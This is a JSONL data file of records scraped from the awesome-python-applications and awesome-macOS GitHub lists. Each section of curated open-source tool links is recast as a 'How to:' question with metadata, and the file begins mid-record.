attacker. `(server, corp)`\n  1. **detect-secrets** - ([Repo](https://github.com/Yelp/detect-secrets)) An enterprise-friendly CLI for auditing, detecting, and preventing secrets in code. `(dev, linux, windows, mac)`\n  1. **GRR Rapid Response** - ([Repo](https://github.com/google/grr), [Docs](https://grr-doc.readthedocs.io/en/latest)) Server-agent system focused on remote live forensics for quick, browser-based triage and analysis of attacks on fleets of machines, with agent support for Linux, Windows, and OS X. `(server, corp)`\n  1. **hosts** - ([Repo](https://github.com/StevenBlack/hosts)) Command-line application which merges reputable [hosts files](https://en.wikipedia.org/wiki/Hosts_(file)) with deduplication for the purpose of blocking undesirable websites via DNS blackhole. `(internet, linux, windows, mac)`\n  1. **Hubble** - ([Repo](https://github.com/hubblestack/hubble), [Docs](https://hubblestack.readthedocs.io/en/latest)) Modular security compliance client, providing on-demand profile-based auditing, alerting, and reporting. Originally designed for Adobe. `(linux, windows, corp)`\n  1. **Infection Monkey** - ([Repo](https://github.com/guardicore/monkey), [Home](https://www.guardicore.com/infectionmonkey), [Docs](https://github.com/guardicore/monkey/wiki)) Web-based tool for testing a datacenter's resiliency to perimeter breaches and internal server infection. `(server)`\n  1. **King Phisher** - ([Repo](https://github.com/securestate/king-phisher), [Docs](https://king-phisher.readthedocs.io/)) Server-based [phishing](https://en.wikipedia.org/wiki/Phishing) campaign toolkit, used to simulate real-world phishing attacks, with GTK-powered client application. `(linux, windows, server)`\n  1. **LinOTP** - ([Repo](https://github.com/LinOTP/LinOTP), [Home](https://www.linotp.org/), [WP](https://en.wikipedia.org/wiki/LinOTP), [Docs](https://www.linotp.org/documentation.html)) Server supporting two-factor authentication with one-time passwords from several sources, from Yubikeys to SMS. `(server)`\n  1. **Maltrail** - ([Repo](https://github.com/stamparm/maltrail)) Malicious traffic detection system with web-based monitoring. `(linux, server)`\n  1. **MITMproxy** - ([Repo](https://github.com/mitmproxy/mitmproxy), [Home](https://mitmproxy.org/)) Interactive TLS-capable intercepting HTTP proxy for penetration testers and software developers. `(linux, windows, mac)`\n  1. **MozDef** - ([Repo](https://github.com/mozilla/MozDef), [Docs](https://mozdef.readthedocs.io/en/latest?badge=latest)) Security incident automation with metrics and collaboration tools for defenders. `(server)`\n  1. **OpenSnitch** - ([Repo](https://github.com/evilsocket/opensnitch), [Fund](https://www.patreon.com/evilsocket)) GNU/Linux port of the [Little Snitch](https://en.wikipedia.org/wiki/Little_Snitch) application firewall. `(linux, qt5)`\n  1. **Passit** - ([Repo](https://gitlab.com/passit/passit-backend), [Home](https://passit.io/), [Docs](https://passit.io/documentation)) Password management server, providing storage services and group access control list features. `(server)`\n  1. **privacyIDEA** - ([Repo](https://github.com/privacyidea/privacyidea), [Home](https://privacyidea.org/), [WP](https://en.wikipedia.org/wiki/PrivacyIDEA), [Docs](https://privacyidea.readthedocs.io/)) A multi factor authentication server running on premises, supporting many different token types and allowing authentication via REST API, RADIUS, PAM, Windows Credential Provider, SAML, OpenID Connect. `(server)`\n  1. **Psono** - ([Repo](https://gitlab.com/psono/psono-server), [Home](https://psono.com/), [Demo](https://www.psono.pw/), [Docs](https://doc.psono.com/)) Server-based password manager, built for teams. `(productivity, server)`\n  1. **Pupy** - ([Repo](https://github.com/n1nj4sec/pupy), [Docs](https://github.com/n1nj4sec/pupy/wiki/Installation)) Remote administration tool and post-exploitation framework, supporting Windows, Linux, Mac OS X, and Android targets. `(linux, docker, server)`\n  1. **PyEW** - ([Repo](https://github.com/joxeankoret/pyew), [Docs](https://github.com/joxeank", "tags": ["mahmoud"], "source": "github_gists", "category": "mahmoud", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 17680, "answer_score": 10, "has_code": false, "url": "https://github.com/mahmoud/awesome-python-applications", "collected_at": "2026-01-17T08:18:12.007213"}
{"id": "gh_875c51eca0c8", "question": "How to: <a id=\"tag-dev.docs\" href=\"#tag-dev.docs\">Docs</a>", "question_body": "About mahmoud/awesome-python-applications", "answer": "1. **asciidoc** - ([Repo](https://github.com/asciidoc/asciidoc)) Text document format for writing notes, documentation, articles, books, slideshows, man pages & blogs. `(console)`\n  1. **doc2dash** - ([Repo](https://github.com/hynek/doc2dash), [Home](https://doc2dash.readthedocs.io/), [PyPI](https://pypi.org/project/doc2dash)) Extensible CLI-based [Documentation Set](https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/Documentation_Sets/010-Overview_of_Documentation_Sets/docset_overview.html#//apple_ref/doc/uid/TP40005266-CH13-SW6) generator intended for use with [Dash.app](https://kapeli.com/dash/) and [other](https://velocity.silverlakesoftware.com/) [compatible](https://github.com/dash-docs-el/helm-dash) [API browsers](https://zealdocs.org/). `(linux, mac)`\n  1. **Gaphor** - ([Repo](https://github.com/gaphor/gaphor), [Docs](https://gaphor.readthedocs.io/en/latest)) Simple [UML](https://en.wikipedia.org/wiki/Unified_Modeling_Language) modeling tool designed for beginners. `(graphics, linux, windows, mac, flatpak, gtk)`\n  1. **Kuma** - ([Repo](https://github.com/mozilla/kuma), [Home](https://developer.mozilla.org/en-US), [Docs](https://kuma.readthedocs.io/en/latest/installation.html)) The platform powering the Mozilla Developer Network (MDN) `(server, django)`\n  1. **mkdocs** - ([Repo](https://github.com/mkdocs/mkdocs), [Home](https://www.mkdocs.org/), [PyPI](https://pypi.org/project/mkdocs)) Simple, customizable project documentation, with built-in dev server. `(console)`\n  1. **readthedocs.org** - ([Repo](https://github.com/readthedocs/readthedocs.org), [Home](https://readthedocs.org/), [Docs](https://docs.readthedocs.io/en/stable)) Continuous integration platform for building and hosting documentation. `(server, django)`\n  1. **Sphinx** - ([Repo](https://github.com/sphinx-doc/sphinx), [Home](http://sphinx-doc.org/), [PyPI](https://pypi.org/project/Sphinx)) Documentation tool for interconnected bodies of authorship, from code documentation to books. Used by [the official Python docs](https://docs.python.org), and many other projects ([not all of them Python](https://varnish-cache.org/docs/)). `(console)`", "tags": ["mahmoud"], "source": "github_gists", "category": "mahmoud", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 17680, "answer_score": 10, "has_code": false, "url": "https://github.com/mahmoud/awesome-python-applications", "collected_at": "2026-01-17T08:18:12.007222"}
{"id": "gh_e069c2d0724f", "question": "How to: <a id=\"tag-dev.pkg_mgr\" href=\"#tag-dev.pkg_mgr\">Package Managers</a>", "question_body": "About mahmoud/awesome-python-applications", "answer": "1. **Conan** - ([Repo](https://github.com/conan-io/conan), [Home](https://conan.io/), [Docs](https://docs.conan.io/en/latest)) Decentralized package manager for binary package management, targeted at C/C++ developers. `(linux, windows, mac)`\n  1. **Conda** - ([Repo](https://github.com/conda/conda), [Home](https://conda.io/), [WP](https://en.wikipedia.org/wiki/Conda_%28package_manager%29)) OS-agnostic, system-level binary package manager and ecosystem, with a focus on Python and high-performance scientific computing. `(linux, windows, mac, corp)`\n  1. **dnf** - ([Repo](https://github.com/rpm-software-management/dnf), [WP](https://en.wikipedia.org/wiki/DNF_%28software%29), [Docs](https://dnf.readthedocs.io/en/latest)) Dandified YUM (DNF) is the successor to `yum` and works everywhere yum worked. `(linux, corp)`\n  1. **pip** - ([Repo](https://github.com/pypa/pip), [Home](https://pip.pypa.io/en/stable), [WP](https://en.wikipedia.org/wiki/Pip_%28package_manager%29), [PyPI](https://pypi.org/project/pip)) Python's go-to package manager, with a wide range of features and platform support. `(linux, windows, mac)`\n  1. **pip-tools** - ([Repo](https://github.com/jazzband/pip-tools)) A set of command line tools to help you keep your pip-based packages fresh, even when you've pinned them. `(linux, windows, mac)`\n  1. **pipenv** - ([Repo](https://github.com/pypa/pipenv), [Docs](https://pipenv.readthedocs.io/en/latest)) Wrapper around `pip`, [`virtualenv`](https://github.com/pypa/virtualenv), and [`pip-tools`](https://github.com/jazzband/pip-tools) for a more holistic package management workflow. `(linux, windows, mac)`\n  1. **Poetry** - ([Repo](https://github.com/sdispater/poetry), [Home](https://poetry.eustace.io/), [Docs](https://poetry.eustace.io/docs)) An independent approach to Python dependency management and packaging. `(linux, windows, mac)`\n  1. **Portage** - ([Repo](https://gitweb.gentoo.org/proj/portage.git), [WP](https://en.wikipedia.org/wiki/Portage_%28software%29)) Platform-agnostic Package management system created for and used by Gentoo Linux and also by Chrome OS, Sabayon, and Funtoo Linux. Inspired by FreeBSD ports. `(linux)`\n  1. **Solaris IPS** - ([Repo](https://github.com/oracle/solaris-ips)) Software delivery system backed by network repository, featuring safe execution for zones, use of ZFS for efficiency and rollback, preventing the introduction of invalid packages, and efficient use of bandwidth. `(linux, corp)`\n  1. **Spack** - ([Repo](https://github.com/spack/spack), [Home](https://spack.io/), [Docs](https://spack.readthedocs.io/en/latest)) Language-independent package manager for supercomputers, Mac, and Linux, designed for scientific computing. `(science, linux, mac)`\n  1. **yum** - ([Repo](https://github.com/rpm-software-management/yum), [Home](http://yum.baseurl.org/), [WP](https://en.wikipedia.org/wiki/Yum_%28software%29)) Automatic updater and package installer/remover for RPM-based systems (Fedora, RHEL, etc.). `(linux, corp)`", "tags": ["mahmoud"], "source": "github_gists", "category": "mahmoud", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 17680, "answer_score": 10, "has_code": false, "url": "https://github.com/mahmoud/awesome-python-applications", "collected_at": "2026-01-17T08:18:12.007243"}
{"id": "gh_22781db54751", "question": "How to: <a id=\"tag-dev.pkg_repo\" href=\"#tag-dev.pkg_repo\">Package Repositories</a>", "question_body": "About mahmoud/awesome-python-applications", "answer": "1. **Bandersnatch** - ([Repo](https://github.com/pypa/bandersnatch)) PyPI mirror client complying with [PEP 381](http://www.python.org/dev/peps/pep-0381/). `(server, corp)`\n  1. **devpi** - ([Repo](https://github.com/devpi/devpi), [Docs](http://doc.devpi.net/)) PyPI staging server, as well as a packaging, testing, release tool, complete with web and search interface. Like a local PyPI. `(server)`\n  1. **distro-tracker** - ([Repo](https://salsa.debian.org/qa/distro-tracker), [Demo](https://tracker.debian.org/), [Docs](https://qa.pages.debian.net/distro-tracker)) Web application designed to follow the evolution of a Debian-based distribution with email updates and a comprehensive web interface. Powers the [Debian Package Tracker](https://tracker.debian.org/). `(server)`\n  1. **SweetTooth Web** - ([Repo](https://gitlab.gnome.org/Infrastructure/extensions-web), [Home](https://extensions.gnome.org/)) The web store for extensions to the [GNOME](https://en.wikipedia.org/wiki/GNOME) desktop environment, supporting adding and updating extensions directly from the browser. `(server)`\n  1. **Warehouse** - ([Repo](https://github.com/pypa/warehouse), [Fund](https://psfmember.org/civicrm/contribute/transact?reset=1&id=13), [Docs](https://warehouse.pypa.io/)) Server software that powers [PyPI](https://pypi.org/), where most Python libraries are downloaded from. `(server, fnd)`", "tags": ["mahmoud"], "source": "github_gists", "category": "mahmoud", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 17680, "answer_score": 10, "has_code": false, "url": "https://github.com/mahmoud/awesome-python-applications", "collected_at": "2026-01-17T08:18:12.007250"}
{"id": "gh_6a2a5c68b649", "question": "How to: <a id=\"tag-dev.build\" href=\"#tag-dev.build\">Build</a>", "question_body": "About mahmoud/awesome-python-applications", "answer": "1. **bitbake** - ([Repo](https://github.com/openembedded/bitbake), [WP](https://en.wikipedia.org/wiki/BitBake), [Docs](https://www.yoctoproject.org/docs/current/bitbake-user-manual/bitbake-user-manual.html)) Generic task execution engine that allows shell and Python tasks to be run efficiently and in parallel while working within complex inter-task dependency constraints. `(linux)`\n  1. **buildbot** - ([Repo](https://github.com/buildbot/buildbot), [WP](https://en.wikipedia.org/wiki/Buildbot), [Docs](https://www.buildbot.net/)) Job scheduling system tailored to the needs of continuous integration and software packaging. `(server)`\n  1. **Buildout** - ([Repo](https://github.com/buildout/buildout), [WP](https://en.wikipedia.org/wiki/Buildout), [Docs](http://docs.buildout.org/)) Extensible deployment automation tool designed for application-centric assembly and deployment, as well as repeatable Python software builds. `(linux, windows, mac)`\n  1. **doit** - ([Repo](https://github.com/pydoit/doit), [Home](https://pydoit.org/), [Fund](https://opencollective.com/doit), [Docs](https://pydoit.org/contents.html)) Command-line task management and automation tool, with directives written in Python. `(linux, windows, mac)`\n  1. **GYP** - ([Repo](https://chromium.googlesource.com/external/gyp), [Home](https://gyp.gsrc.io/), [WP](https://en.wikipedia.org/wiki/GYP_%28software%29)) AKA 'Generate Your Projects', a build system that generates other build systems. `(linux, windows, mac)`\n  1. **JHBuild** - ([Repo](https://gitlab.gnome.org/GNOME/jhbuild), [Home](https://wiki.gnome.org/Projects/Jhbuild), [gh](https://github.com/GNOME/jhbuild), [Docs](https://developer.gnome.org/jhbuild/stable/getting-started.html.en)) Tool designed to ease building collections of packages, originally written to build the GNOME desktop from sources. `(linux)`\n  1. **Meson** - ([Repo](https://github.com/mesonbuild/meson), [Home](http://mesonbuild.com/)) Build system designed for speed and user-friendliness. `(linux, windows, mac)`\n  1. **Pants** - ([Repo](https://github.com/pantsbuild/pants), [Home](https://www.pantsbuild.org/)) Build system designed for monolithic repositories. `(linux, mac, corp)`\n  1. **PlatformIO Core** - ([Repo](https://github.com/platformio/platformio-core), [Home](https://platformio.org/), [Fund](https://platformio.org/donate?utm_source=github&utm_medium=core), [PyPI](https://pypi.org/project/platformio), [Docs](https://docs.platformio.org/en/latest?utm_source=github&utm_medium=core)) Multiplatform CLI build system and library manager for IoT development. `(linux, windows, mac)`\n  1. **redo** - ([Repo](https://github.com/apenwarr/redo), [PyPI](https://pypi.org/project/redo-tools), [Docs](https://redo.readthedocs.io/en/latest)) A recursive, general-purpose build sytem, replacing `make` with original design by [DJB](https://en.wikipedia.org/wiki/Daniel_J._Bernstein). `(linux, windows, mac, console)`\n  1. **SCons** - ([Repo](https://github.com/SCons/scons), [Home](http://scons.org/), [WP](https://en.wikipedia.org/wiki/SCons)) Domain-specific language and build tool, designed to replace Make, autoconf, and ccache. `(linux, windows, mac)`\n  1. **Snapcraft** - ([Repo](https://github.com/snapcore/snapcraft), [Home](https://snapcraft.io/), [Docs](https://snapcraft.io/docs)) A command-line tool to package, distribute, and update apps for Linux and IoT using containerization, developed by Canonical. `(linux)`\n  1. **Waf** - ([Repo](https://gitlab.com/ita1024/waf), [Home](https://waf.io/), [WP](https://en.wikipedia.org/wiki/Waf), [Docs](https://waf.io/book)) Cross-platform build system designed to improve on SCons. `(linux)`", "tags": ["mahmoud"], "source": "github_gists", "category": "mahmoud", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 17680, "answer_score": 10, "has_code": false, "url": "https://github.com/mahmoud/awesome-python-applications", "collected_at": "2026-01-17T08:18:12.007261"}
{"id": "gh_6f0e59af050a", "question": "How to: <a id=\"tag-dev.shell\" href=\"#tag-dev.shell\">Shell</a>", "question_body": "About mahmoud/awesome-python-applications", "answer": "1. **Ergonomica** - ([Repo](https://github.com/ergonomica/ergonomica), [Docs](http://ergonomica.readthedocs.io/)) Cross-platform shell language based on [S-expressions](https://en.wikipedia.org/wiki/S-expression) combined with traditional shell features. `(linux, windows, mac)`\n  1. **Oil** - ([Repo](https://github.com/oilshell/oil), [Home](http://www.oilshell.org/)) A new [bash](https://en.wikipedia.org/wiki/Bash_(Unix_shell))- and [dash](https://en.wikipedia.org/wiki/Almquist_shell#dash:_Ubuntu,_Debian_and_POSIX_compliance_of_Linux_distributions) backwards-compatible shell, with an improved language of its own. `(linux)`\n  1. **Xonsh** - ([Repo](https://github.com/xonsh/xonsh), [Home](https://xon.sh/)) Cross-platform shell language and command prompt. The language is a superset of Python 3.4+ with additional shell primitives. `(linux, windows, mac)`", "tags": ["mahmoud"], "source": "github_gists", "category": "mahmoud", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 17680, "answer_score": 10, "has_code": false, "url": "https://github.com/mahmoud/awesome-python-applications", "collected_at": "2026-01-17T08:18:12.007267"}
{"id": "gh_293dd37723fe", "question": "How to: <a id=\"tag-dev-other\" href=\"#tag-dev-other\">Other Dev projects</a>", "question_body": "About mahmoud/awesome-python-applications", "answer": "1. **asciinema** - ([Repo](https://github.com/asciinema/asciinema), [Home](https://asciinema.org/)) Terminal session recorder and replayer. `(linux, mac)`\n  1. **autojump** - ([Repo](https://github.com/wting/autojump)) A `cd` with many heuristics to speed up console filesystem navigation. `(console)`\n  1. **coala** - ([Repo](https://github.com/coala/coala), [Home](https://coala.io/), [PyPI](https://pypi.org/project/coala)) Unified command-line interface for linting and fixing code, regardless of programming language. `(console)`\n  1. **Cookiecutter** - ([Repo](https://github.com/audreyr/cookiecutter), [PyPI](https://pypi.org/project/cookiecutter), [Docs](https://cookiecutter.readthedocs.io/en/latest)) Utility for creating new projects from shareable templates. `(console)`\n  1. **Cython** - ([Repo](https://github.com/cython/cython), [Home](https://cython.org/), [PyPI](https://pypi.org/project/cython), [Docs](http://docs.cython.org/)) Language and compiler designed for high-performance Python and C interoperability. `(linux, windows, mac)`\n  1. **detect-secrets** - ([Repo](https://github.com/Yelp/detect-secrets)) An enterprise-friendly CLI for auditing, detecting, and preventing secrets in code. `(security, linux, windows, mac)`\n  1. **Dispatch** - ([Repo](https://github.com/Netflix/dispatch), [Blog](https://netflixtechblog.com/introducing-dispatch-da4b8a2a8072), [Docs](https://netflix.github.io/dispatch)) Incident management service featuring integrations for notifications and task management. Used at Netflix. `(internet, server, calver, corp, fastapi)`\n  1. **Docker Compose** - ([Repo](https://github.com/docker/compose), [Docs](https://docs.docker.com/compose)) Docker Compose is a tool for defining and running multi-container Docker applications. `(linux, windows, mac, corp)`\n  1. **doitlive** - ([Repo](https://github.com/sloria/doitlive), [PyPI](https://pypi.org/project/doitlive), [Docs](https://doitlive.readthedocs.io/)) Tool for live presentations in the terminal. `(linux, mac)`\n  1. **DrawBot** - ([Repo](https://github.com/typemytype/drawbot), [Home](http://www.drawbot.com/), [WP](https://en.wikipedia.org/wiki/DrawBot)) A powerful programmatic 2D drawing application for MacOS X which generates graphics from Python scripts. `(graphics, education, mac)`\n  1. **explainshell.com** - ([Repo](https://github.com/idank/explainshell), [Home](https://www.explainshell.com/)) A web-based tool to match command-line arguments to their man pages and help text. `(education, server, flask)`\n  1. **gdbgui** - ([Repo](https://github.com/cs01/gdbgui), [Home](https://gdbgui.com/), [PyPI](https://pypi.org/project/gdbgui)) Browser-based frontend for [gdb](https://en.wikipedia.org/wiki/GNU_Debugger). `(linux, windows, mac)`\n  1. **GNS3 GUI** - ([Repo](https://github.com/GNS3/gns3-gui), [Home](https://www.gns3.com/), [PyPI](https://pypi.org/project/gns3-gui), [Docs](https://docs.gns3.com/)) Graphical Network Simulator used to emulate, configure, test and troubleshoot virtual and real networks. (Backed by server component [here](https://github.com/GNS3/gns3-server).) `(linux, windows, mac)`\n  1. **howdoi** - ([Repo](https://github.com/gleitz/howdoi), [PyPI](https://pypi.org/project/howdoi)) Instant coding answers from StackOverflow on your command line. `(console)`\n  1. **httpie** - ([Repo](https://github.com/jakubroztocil/httpie), [Home](https://httpie.org/), [PyPI](https://pypi.org/project/httpie)) Command-line HTTP client with JSON support, syntax highlighting, wget-like downloads, extensions, and more. `(internet, linux, windows, mac)`\n  1. **IPython** - ([Repo](https://github.com/ipython/ipython), [PyPI](https://pypi.org/project/ipython), [Docs](https://ipython.readthedocs.org/)) Set of enhancements to Python, wrapping it for richer interactivity. `(console)`\n  1. **LocalStack** - ([Repo](https://github.com/localstack/localstack), [Home](https://localstack.cloud/), [PyPI](https://pypi.org/project/localstack)) Self-hostable version of many AWS services, including S3, Route53, Lambda, Redshift, and much more, designed for testing cloud-centric code. `(server)`\n  1. **Locust** - ([Repo](https://github.com/locustio/locust), [Home](https://locust.io/), [Docs](https://docs.locust.io/)) Scalable user load testing tool for web sites, featuring an interactive web interface. `(server)`\n  1. **MLflow** - ([Repo](https://github.com/mlflow/mlflow), [Home](https://mlflow.org/), [Docs](https://mlflow.org/docs/latest/index.html)) Integrated command-line application and web service, supporting an end-to-end machine-learning workflow around tracking, packaging, and deploying. Developed by [Databricks](https://docs.databricks.com/applications/mlflow/index.html). `(ai, organization, linux, mac, corp)`\n  1. **PathPicker** - ([Repo](https://github.com/facebook/PathPicker), [Home](http://facebook.github.io/PathPicker)) Shell utility to interactively select paths from the output of other commands. `(linux, mac)`\n  1. **PeachPy** - ([Repo](https://", "tags": ["mahmoud"], "source": "github_gists", "category": "mahmoud", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 17680, "answer_score": 10, "has_code": false, "url": "https://github.com/mahmoud/awesome-python-applications", "collected_at": "2026-01-17T08:18:12.007288"}
{"id": "gh_0e454d786d9d", "question": "How to: <a id=\"tag-misc\" href=\"#tag-misc\">Misc</a>", "question_body": "About mahmoud/awesome-python-applications", "answer": "1. **CourtListener** - ([Repo](https://github.com/freelawproject/courtlistener), [Home](https://www.courtlistener.com/), [WP](https://en.wikipedia.org/wiki/Free_Law_Project), [Fund](https://free.law/donate)) Web application which provides a graph-based search interface and API with 900,000 minutes of oral argument recordings, more than eight thousand judges, and more than three million opinions. Also powers [RECAP search](https://www.courtlistener.com/recap/). `(server, django)`\n  1. **Guake** - ([Repo](https://github.com/Guake/guake), [Home](http://guake-project.org/), [PyPI](https://pypi.org/project/guake)) Drop-down terminal for GNOME, reminiscent of first-person game command consoles. `(linux, gtk)`\n  1. **Home Assistant** - ([Repo](https://github.com/home-assistant/home-assistant), [Home](https://www.home-assistant.io/), [Demo](https://demo.home-assistant.io/), [Docs](https://www.home-assistant.io/docs)) Home automation platform that puts local control and privacy first. `(linux)`\n  1. **JARVIS on Messenger** - ([Repo](https://github.com/swapagarwal/JARVIS-on-Messenger), [Home](https://m.me/J.A.R.V.I.S.on.Messenger)) Facebook Messenger bot with a wide assortment of features. `(server)`\n  1. **NFO Viewer** - ([Repo](https://github.com/otsaloma/nfoview), [Home](https://otsaloma.io/nfoview)) A simple viewer for NFO files and the ASCII art therein, with preset fonts, encodings, automatic window sizing, and clickable hyperlinks. `(graphics, linux, windows)`\n  1. **Nicotine+** - ([Repo](https://github.com/Nicotine-Plus/nicotine-plus)) Graphical desktop client for the [Soulseek](https://en.wikipedia.org/wiki/Soulseek) peer-to-peer system. `(linux, windows, gtk)`\n  1. **Nimbus** - ([Repo](https://github.com/nimbusproject/nimbus), [Home](http://www.nimbusproject.org/)) Infrastructure-as-a-Service platform geared toward scientific cloud computing. `(linux)`\n  1. **OpenLP** - ([Repo](https://code.launchpad.net/openlp), [Home](https://openlp.org/)) Presentation software geared toward church usage. `(linux, windows, mac, qt5)`\n  1. **qtile** - ([Repo](https://github.com/qtile/qtile), [Home](http://qtile.org/)) A small, flexible, scriptable tiling window manager. `(linux)`\n  1. **uMap** - ([Repo](https://github.com/umap-project/umap), [Docs](https://wiki.openstreetmap.org/wiki/UMap)) Web application allowing users to create maps with OpenStreetMap layers and embed it on other sites. `(server)`\n  1. **Wammu** - ([Repo](https://github.com/gammu/wammu), [Home](https://wammu.eu/wammu)) GUI phone manager with read/write support for contacts, todo, calendar, SMS, and more, primarily designed for Nokia and AT-compatible phones. `(linux, windows)`\n  1. **Wicd** - ([Repo](https://code.launchpad.net/wicd), [Home](http://wicd.sourceforge.net/download.php), [WP](https://en.wikipedia.org/wiki/Wicd)) Graphical utility for managing wired and wireless connections on Linux. `(linux, gtk)`\n  1. **Xpra** - ([Repo](https://xpra.org/svn/Xpra/trunk), [Home](http://xpra.org/)) Cross-platform remote display server and client for forwarding applications and desktop screens. `(linux, windows)`", "tags": ["mahmoud"], "source": "github_gists", "category": "mahmoud", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 17680, "answer_score": 10, "has_code": false, "url": "https://github.com/mahmoud/awesome-python-applications", "collected_at": "2026-01-17T08:18:12.007299"}
{"id": "gh_4aa602062251", "question": "How to: Conclusion", "question_body": "About mahmoud/awesome-python-applications", "answer": "If you have a project to add, [please let us know](https://github.com/mahmoud/awesome-python-applications/issues)!", "tags": ["mahmoud"], "source": "github_gists", "category": "mahmoud", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 17680, "answer_score": 10, "has_code": false, "url": "https://github.com/mahmoud/awesome-python-applications", "collected_at": "2026-01-17T08:18:12.007305"}
{"id": "gh_bd49622a59bc", "question": "How to: Table of Contents", "question_body": "About iCHAIT/awesome-macOS", "answer": "- [Applications](#applications)\n    - [Audio](#audio)\n    - [Backup](#backup)\n    - [Chat Clients](#chat-clients)\n    - [Data Recovery](#data-recovery)\n    - [Developers](#developers)\n    - [E-Book Utilities](#e-book-utilities)\n    - [Editors](#editors)\n    - [Email Utilities](#email-utilities)\n    - [Finder](#finder)\n    - [Games](#games)\n    - [Graphics](#graphics)\n    - [News Readers](#news-readers)\n    - [Productivity](#productivity)\n    - [Sharing Files](#sharing-files)\n    - [Terminal](#terminal)\n    - [Utilities](#utilities)\n    - [Video](#video)\n    - [Window Management](#window-management)\n    - [Others](#others)\n- [Command Line Utilities](#command-line-utilities)\n- [macOS Utilities](#macos-utilities)\n- [Setup](#setup)\n    - [DevMyMac](#devmymac)\n    - [laptop](#laptop)\n    - [mac-dev-setup](#mac-dev-setup)\n    - [macbook-playbook](#macbook-playbook)\n    - [macOS 10.9 Mavericks](#macos-109-mavericks-setup)\n    - [macOS 10.10 Yosemite](#macos-1010-yosemite-setup)\n    - [macOS 10.11 El Capitan](#macos-1011-el-capitan-setup)\n    - [macOS 10.12 Sierra](#macos-1012-sierra-setup)\n    - [macOS 10.13 High Sierra](#macos-1013-high-sierra-setup)\n    - [macOS 10.14 Mojave](#macos-1014-mojave-setup)\n- [Security](#security)\n- [Miscellaneous](#miscellaneous)\n- [Discussion Forums](#discussion-forums)\n    - [IRC channels](#irc-channels)\n    - [MacRumors](#macrumors)\n    - [Reddit](#reddit)\n- [Contribute](#contribute)", "tags": ["iCHAIT"], "source": "github_gists", "category": "iCHAIT", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 17520, "answer_score": 10, "has_code": true, "url": "https://github.com/iCHAIT/awesome-macOS", "collected_at": "2026-01-17T08:18:14.060527"}
{"id": "gh_7cb0d90b5fbb", "question": "How to: Chat Clients", "question_body": "About iCHAIT/awesome-macOS", "answer": "- [ChitChat](https://github.com/stonesam92/ChitChat) - A native Mac app wrapper for WhatsApp Web. [![Open-Source Software][OSS Icon]](https://github.com/stonesam92/ChitChat) ![Freeware][Freeware Icon]\n- [Telegram](https://itunes.apple.com/us/app/telegram/id747648890?mt=12) - A messaging app with a focus on speed and security, it’s super fast, simple and free. [![Open-Source Software][OSS Icon]](https://github.com/overtake/TelegramSwift) ![Freeware][Freeware Icon]\n- [Textual](https://www.codeux.com/textual/) - An Internet Relay Chat (IRC) client. [![Open-Source Software][OSS Icon]](https://github.com/Codeux-Software/Textual)", "tags": ["iCHAIT"], "source": "github_gists", "category": "iCHAIT", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 17520, "answer_score": 10, "has_code": false, "url": "https://github.com/iCHAIT/awesome-macOS", "collected_at": "2026-01-17T08:18:14.060545"}
{"id": "gh_b79e6c0f6a8a", "question": "How to: Data Recovery", "question_body": "About iCHAIT/awesome-macOS", "answer": "- [Data Rescue](https://www.prosofteng.com/datarescue-mac-data-recovery/) - Comprehensive and professional data recovery for a multitude of scenarios.\n- [DiskWarrior](http://www.alsoft.com/DiskWarrior/) - Recover from filesystem corruptions when Disk Utility is out of options.", "tags": ["iCHAIT"], "source": "github_gists", "category": "iCHAIT", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 17520, "answer_score": 10, "has_code": false, "url": "https://github.com/iCHAIT/awesome-macOS", "collected_at": "2026-01-17T08:18:14.060551"}
{"id": "gh_60d5aafc4506", "question": "How to: E-Book Utilities", "question_body": "About iCHAIT/awesome-macOS", "answer": "- [Kindle App](http://www.amazon.com/gp/help/customer/display.html?nodeId=201246110) - Amazon Kindle App for macOS.", "tags": ["iCHAIT"], "source": "github_gists", "category": "iCHAIT", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 17520, "answer_score": 10, "has_code": false, "url": "https://github.com/iCHAIT/awesome-macOS", "collected_at": "2026-01-17T08:18:14.060574"}
{"id": "gh_670a95ecc748", "question": "How to: Email Utilities", "question_body": "About iCHAIT/awesome-macOS", "answer": "- [Airmail](http://airmailapp.com/) - Lightning fast email client designed for El Capitan.\n- [MailMate](https://freron.com/) - Advanced IMAP email client, featuring extensive keyboard control and Markdown support.\n- [Mailplane](https://mailplaneapp.com/) - A tightly integreted client for Google Mail, Inbox, Calender, and Contacts.", "tags": ["iCHAIT"], "source": "github_gists", "category": "iCHAIT", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 17520, "answer_score": 10, "has_code": false, "url": "https://github.com/iCHAIT/awesome-macOS", "collected_at": "2026-01-17T08:18:14.060580"}
{"id": "gh_a9fad514e8d4", "question": "How to: News Readers", "question_body": "About iCHAIT/awesome-macOS", "answer": "- [hacker-menu](https://hackermenu.io/) - Hacker News Delivered to Desktop. [![Open-Source Software][OSS Icon]](https://github.com/jingweno/hacker-menu) ![Freeware][Freeware Icon]\n- [NetNewsWire](https://ranchero.com/netnewswire/) - A classic RSS reader reacquired by its original author and rewritten for modern macOS. [![Open-Source Software][OSS Icon]](https://github.com/brentsimmons/NetNewsWire) ![Freeware][Freeware Icon]\n- [ReadKit](http://readkitapp.com/) - Have all your Instapaper, Pocket, etc. feeds in one place even when you're offline.\n- [Reeder](http://reederapp.com/mac/) - News reader that integrates with with Feedbin, Feedly, and other popular services.\n- [Vienna](http://viennarss.github.io/) - RSS/Atom newsreader. [![Open-Source Software][OSS Icon]](https://github.com/ViennaRSS/vienna-rss) ![Freeware][Freeware Icon]", "tags": ["iCHAIT"], "source": "github_gists", "category": "iCHAIT", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 17520, "answer_score": 10, "has_code": false, "url": "https://github.com/iCHAIT/awesome-macOS", "collected_at": "2026-01-17T08:18:14.060589"}
